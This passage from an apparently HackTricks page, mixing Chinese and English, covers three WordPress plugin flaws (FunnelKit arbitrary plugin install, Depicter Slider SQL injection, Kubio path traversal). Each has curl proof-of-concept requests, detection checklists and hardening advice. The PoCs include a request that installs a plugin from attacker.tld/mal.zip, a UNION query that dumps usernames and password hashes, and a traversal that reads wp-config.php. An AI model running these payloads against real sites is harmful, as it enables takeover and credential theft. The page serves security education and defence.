- 漏洞:弱的 nonce hash 检查;nonce “通过” 后没有 current_user_can('install_plugins'|'activate_plugins') 检查
- 影响:通过任意插件安装/激活导致完全妥协
PoC(具体形式取决于插件;仅作示例)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
未经认证的 SQLi 通过 depicter-* actions 中的 s (search) 参数 (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s']
- 审查传入 $wpdb->get_results()/query() 的自定义查询,是否通过串联包含 s
Hardening
- 始终使用 $wpdb->prepare() 或 wpdb placeholders;在服务器端拒绝意外的元字符
- 为 s 添加严格的允许列表,并规范化为预期的字符集/长度
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
在模板参数中接受攻击者控制的路径而不进行规范化/限制,允许读取任意本地文件,并且如果将可包含的 PHP/日志文件拉入运行时,有时会导致代码执行。
- 参数: __kubio-site-edit-iframe-classic-template
- 缺陷: 未进行规范化/允许列表限制;允许遍历
- 影响: 机密披露 (wp-config.php),在特定环境中可能导致 RCE(log poisoning, includable PHP)
PoC – 读取 wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
检测清单
- 任何 handler 将请求路径串联到 include()/require()/read sinks 中且未使用 realpath() 进行限制
- 查找 traversal 模式 (../) 导致超出预期 templates 目录
加固
- 强制使用 allowlisted templates;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
- 规范化输入;拒绝 traversal 序列和绝对路径;仅对文件名(非完整路径)使用 sanitize_file_name()
参考资料
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks